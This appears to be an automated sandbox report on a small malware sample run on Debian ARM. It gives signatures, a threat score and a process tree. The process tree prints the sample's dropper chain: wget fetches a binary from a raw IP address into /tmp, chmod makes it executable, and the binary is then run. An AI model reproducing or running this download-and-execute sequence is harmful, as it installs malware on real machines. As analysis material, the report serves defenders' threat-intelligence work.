Analysis
- max time kernel
121s - max time network
145s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
01/11/2026, 22:25
General
- Target d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
- Size 360B
- Sample261101-2b4n3ayvas
- SHA256 d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d0/tmp/d2a601d6f8bded9a1a4b5595b3b94950b72b3a5d25feb64c16f0435d41f8e2d01⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://45.93.200.191/release/arm -O /tmp/arm2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x /tmp/arm2⤵
- File and Directory Permissions Modification
-
-
/tmp/arm/tmp/arm aterna2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
arm